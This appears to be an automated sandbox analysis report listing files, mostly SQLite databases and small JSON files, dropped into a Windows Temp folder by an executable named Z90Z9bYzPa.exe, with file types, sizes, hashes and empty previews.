SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L8Y0wqL1qg

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LFPpJx0nMv

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Le3rDFhMiA

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M3Nku84BpH

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M42C8d2w51

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MJgjF9hiwl

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ms6ilXd6No

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N4CMezNdlz

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N6xBQpjNA0

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NAXNXZkeqo

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\Ncc4w779fC

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\O5d35D3acX

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ORY5F0em2m

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Om1EuJNQhR

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PIFTPCA0ST

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PLfAlLBd35

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PWA7CcMM09

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PwHxrmNbWu

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QK3PvPN2PU

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QoTM6VQJBr

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RFSATKf4aG

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RgqtOELnlT

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RkEywwW341

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SBKRnIooSg

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\SNQdxXlEzh

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SPjhuJ5oWX

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SfTG1hfyMQ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\SgpHCWNWLZ

Download File

